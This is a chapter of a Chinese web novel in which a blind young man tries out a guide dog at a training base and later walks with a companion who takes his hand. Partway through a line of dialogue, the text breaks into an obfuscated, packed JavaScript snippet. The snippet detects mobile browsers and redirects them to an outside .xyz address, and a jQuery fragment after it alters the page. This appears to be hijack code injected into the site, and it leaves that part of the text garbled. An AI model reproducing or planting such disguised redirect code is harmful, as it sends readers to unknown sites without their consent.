他们要去的导盲犬基地在郊外，从市区开过去大概一个多小时。
到达目的地之后，郑千玉下车，和叶森走出停车场。
他可以感觉到这是一个很空旷的地方，高的建筑并不多，有人声远远传来，像在说什么口令。
郑千玉搭上叶森的手臂，挨着他，右手盲杖轻轻点地。
“是千玉弟弟吗？”
一个很热情的女声远远传来。
郑千玉应声：“是毛毛姐吗？”
毛毛姐走过来迎接他们，她性格很活泼，道：
“哦哟，你们俩，真是打眼一瞧，我以为是什么明星来了。”
郑千玉有些不好意思：“您别说笑了毛毛姐。”
毛毛姐是郑辛急诊科一名护士的姐姐，在导盲犬基地做了十几年的训导师，是经验非常丰富的导盲犬训导员。
郑千玉这两天在微信上和她聊了一些，加上郑辛之前打过招呼，即使是第一次见面，毛毛对郑千玉也并不陌生。
“我以为你和郑医生一起来呢。”毛毛姐笑着说。
“我哥太忙了，他昨天还在上夜班，这是我的朋友。”
郑千玉介绍他，叶森也报了自己的名字。
毛毛姐领着他们进学校，一边走一边说：“这段时间是开放日，只要申请就可以安排进基地看孩子们训练上课。”
毛毛姐习惯把导盲犬叫做“孩子们”。他们在基地里走了一会儿，郑千玉感到很神奇，说：
“它们不会叫吗？”
盲人对于声音很敏感，郑千玉来导盲犬基地之前，已经有“会听到很多狗狗在叫”的心理准备。
就像要去一片草原之前，对它的印象是绿色的，对秋天的印象是黄色的。现在，声音代替了这些色彩。
毛毛姐笑道：“它们不会乱叫的，这是一个很严格的标准。每只小狗很小的时候就会接受性格测试，只有那些性格稳定的孩子才会开始尝试进行导盲犬的培训。
“如果狗狗的父母都是性格稳定的大狗，它们的孩子也大概率是适合上岗做导盲犬的。所以现在我们既会去挑选性格合适的小狗，也和一些导盲犬繁殖机构有合作。”
叶森在一旁道：“我在网上查了资料，它们从周岁开始训练，是吗？”
毛毛姐点点头：“不错。不过在此之前，小狗满月后会先寄养在志愿者家里，进行社会化训练，12-14个月大时，就送回我们基地，开始长达10-18个月的导盲犬专业培训。”
郑千玉听到这些数字有点意外：“那它们的训练时间还挺长的。”
毛毛姐：“是的，专业培训合格后，申请导盲犬的视障伙伴也要到基地来，和导盲犬有为期四十天的共同训练。这个期间主要看配合的效果，如果效果不好，狗狗是无法上岗的。”
郑千玉沉吟：“所以……一只导盲犬从训练到上岗，大概是2年的时间？”
毛毛姐：“对。顺利的话，它们会在2周岁的时候开始服役。”
叶森在旁边道：“如果按10岁算退役，一只导盲犬的服役期就是8年左右了。”
毛毛姐：“最多就是8年了，导盲犬退役之后，会送到爱心志愿者的家里养老，安度晚年。”
他们一边聊一边走，叶森低声对郑千玉说“小心”，提醒他有台阶，郑千玉跨过去，他们来到一处草坪上。
郑千玉的盲杖点在有些软的地面上，他听到训导员在培训的口令声，还有小狗呼哧呼哧喘气的声音。
小狗的味道。郑千玉心想。
草坪上没什么障碍物，郑千玉把盲杖收起来一点，抓住叶森的衣袖，站在原地。毛毛姐和其中一个训导员打了招呼，他牵着一只正在训练的导盲犬过来。
毛毛姐介绍道：“这是飞飞，它是一只黑色的拉布拉多，现在已经15个月大了，从寄养家庭来基地有三个月，它很活泼亲人，服从性也很好。”
郑千玉叫它的名字：“飞飞。”
他稍稍前倾身体，叶森也轻轻握住他的手腕，带着它的手，摸到了飞飞的头。
郑千玉感觉飞飞热乎乎的，毛发很柔软，耳朵很大，温顺地垂下来。
“它很喜欢你。”叶森低声对郑千玉说。
“是吗？”郑千玉摸摸飞飞，问它：“你很喜欢我吗？”
飞飞呼哧呼哧地喘气，叶森“嗯”了一声，道：“它一直在摇尾巴。”
“怎么样，不怕狗狗吧？”毛毛姐笑道：“有些人是怕狗的，其实它们能感觉出来，如果你喜欢它们的话，它们也会喜欢你。”
现在是飞飞的休息时间，训导员解开了扣子，给飞飞喝水。郑千玉坐在草坪上，听飞飞很开心地一下一下用舌头撩水的声音。
在引导下，飞飞过来和郑千玉接触。它的情绪果然很稳定，不会像一般的大型犬一样兴奋，只是用鼻子轻轻闻郑千玉，然后力道非常小地拱他的手掌。
毛毛姐见郑千玉和飞飞相处得不错，道：“等会儿飞飞有一个小测试，千玉弟弟你要不要试试？”
郑千玉正和飞飞握手，闻言问道：“小测试？”
毛毛姐：“是的，像学生考试一样，测一下它对口令的熟悉程度和执行效果。”
郑千玉：“我和飞飞才刚刚认识，也可以带他考试吗？”
毛毛姐：“理论上最好是飞飞熟悉的训导员带它考试，不过飞飞看上去很喜欢你，我们也可以试一下，主要是想让你体验一下和导盲犬出行的感觉。
“当然，因为你是第一次尝试，飞飞会走得很慢，你不用太紧张。”
为了和中文区分开，防止导盲犬在路上听到错误的指令，导盲犬的口令一般都是英文。郑千玉学了一些基础的指令，带着飞飞一起考试。
盲人和导盲犬一起出行仍然需要带着盲杖。郑千玉左手抓着飞飞的牵引带，右手拿着盲杖，起初他仍然有点担心飞飞会突然窜出去，像一般的大型犬一样。
但飞飞很乖，它站在郑千玉的左前方，身体挨着郑千玉的小腿，非常稳定。
“飞飞，go。”郑千玉出声道。
于是飞飞像一只缓缓启动的小帆船，开始向前走去。郑千玉也抬脚，用盲杖配合飞飞的速度。毛毛姐和他说，只要飞飞的脚步没有慢下来，就说明前方没有障碍物。
他可以一直向前走。
郑千玉：“飞飞，wait。”
飞飞立刻停下来，郑千玉觉得很奇妙，有种和飞飞心灵相通的感觉。
训练场地会修一些台阶、楼梯，还有以导盲犬的高度可以通过，人却会撞上的障碍物，来测试导盲犬对障碍物的判断能力。
当飞飞遇到台阶时，他会先用自己的两只前腿站上去，然后停住。
这个时候，牵引带就会上升，郑千玉就知道这里有台阶了。
郑千玉失明后第一次自己出门的时候，在台阶上踩空过一次。这让郑千玉至今对台阶和楼梯都心有余悸。而且路上虽然有盲道，也经常被各种电动车和共享单车占据。
所以郑千玉出行的范围很固定，如非必要，他通常不会独自去太远的地方。
上次一个人去地铁线旁边的那个公园，已经是例外中的例外。好在那次独自出行很顺利，行走在陌生的道路上，郑千玉没有遇到太大的困难。
那一天的阳光和空气也很好，令郑千玉有时会怀念。
郑千玉跟着飞飞走，有障碍物时，飞飞会提前避开，把郑千玉带到可行的路线上。大概十五分钟后，飞飞的考试结束了。
毛毛姐过来问：“千玉弟弟，感觉怎么样？”
郑千玉感觉手指还留着牵引飞飞时的感觉，有种丢失的方向感又重新找回来了一点的错觉。
“很好，我觉得飞飞做得很棒。”他真心地夸奖那只他看不见的、黑色的小狗。
毛毛姐笑着说：“飞飞很棒，不过这次飞飞也有被扣分的地方哦。”
郑千玉好奇：“哪里扣了分？它没让我撞上任何障碍。”
毛毛姐：
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474826|169918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“导盲犬在保证不撞上障碍物的同时，也要对路况做判断，同样是走路，有路况复杂的，也有畅通的，它们要学会选择路况好的路线。飞飞在这次测试里忽略了一点，让你多走了几个台阶，哈哈。”
飞飞被松开了牵引带，仍然用身体贴着郑千玉的腿，它好像在摇尾巴，轻轻地扫过郑千玉的裤管。
毛毛姐：“学会判断和选择一条更好走的路，是导盲犬这一年多来的训练都要学习的事情。等它们毕业之后，也会越做越好的。”
郑千玉伸出手，飞飞的头寻找到他的掌心，那不像郑千玉在抚摸飞飞，而像飞飞在抚摸郑千玉。
“飞飞很好，它一定可以做到的。”
郑千玉道。
因为他们开车过来已经花了一些时间，很快已近饭点，中午他们和毛毛姐一起吃了顿便饭。下午毛毛姐给郑千玉和叶森介绍了导盲犬的手续问题。
现在全国大概有1700万盲人，但能够进入工作的导盲犬只有400只左右。培育一只合格的导盲犬的成本在20万左右，盲人申领导盲犬是免费的。
毛毛姐告诉千玉，如果他想申领一只导盲犬，可以备齐证件来基地签署申请书，基地会将他加入申领的队列。
“但现在申领的视障伙伴很多，虽然这几年全国的导盲犬基地增加了，但导盲犬的数量对比需求，还是非常少的。”毛毛姐解释道。
如果郑千玉现在排队，最快也要一年多，才能等到属于他的导盲犬。
对于这个局面，郑千玉不是没有心理准备。他朝毛毛姐道谢，说自己回去会好好考虑。
和飞飞告别的时候，郑千玉蹲了下来，尽可能拥抱了它。飞飞吐着舌头，它很开心，透露着一种旺盛的生命力。
这一天，郑千玉履行约定，和叶森一起吃了晚餐。那是一家顺德菜，有很鲜的桑拿鸡和又脆又弹的凉拌去骨鲫鱼，叶森最后把菜下到桑拿鸡蒸出来的汤底里，让郑千玉多吃了一碗蔬菜。
晚饭吃得早，回程时不过6点钟，郑千玉说：“要不要去上次你说的那个公园？”
叶森当然点头，车拐了个弯，在夜晚驶向公园。
下车的时候，郑千玉扶着车门，感叹自己吃得饱。在林静松眼里，他的食量几不可闻，两盘肉，郑千玉大概吃下不到半盘，一碗蔬菜就让他填了肚子。
如此，郑千玉就要走路“消食”，他们多了一段散步的时间。
夜风凉爽，但有些冷了。冬春交际，昼夜温差变大，郑千玉的盲杖点着路，另外一只手缩进了开衫的袖口里。
“谢谢你今天陪我来。”
郑千玉道。
林静松很想牵他的手。
好像有无法驱散的寒冷包围着郑千玉，命运也下了定论，人生从此永远是冰天雪地，任何事物都无法让他从这样的寒冷之中解脱。
即使林静松已经站到他身边，他能给予的温度是否少得可怜，又是否因虚假而缥缈。
他也不知道。
“千玉，你是不是……不想申请。”
他开口问道。
“嗯。”
郑千玉说：“我不想看上去很像一个看不见的人。”
他低下头，道：“虽然我已经是了。”
“这样走路就好，不想要更多了。”他的盲杖轻轻打在地上，“不想去很远的地方，也不想认识新的人，不想被抛弃，也不想被关心。”
郑千玉轻轻笑了一下：“好像这么做，有一天我就会好的。我有时还是会想去看电影，还有画展……”
“那就去好了。”
他听见叶森的声音说。
“去看电影，去看画展，去做你想做的事情。
“我和你一起。”
他牵了郑千玉的手，他的手指冰凉。
林静松的手顺着他的袖管，握到郑千玉的掌心里。郑千玉的手瑟缩了一下，最终没有挣扎，蜷在他的手中。
“你不是‘一个看不见的人’，你是千玉。”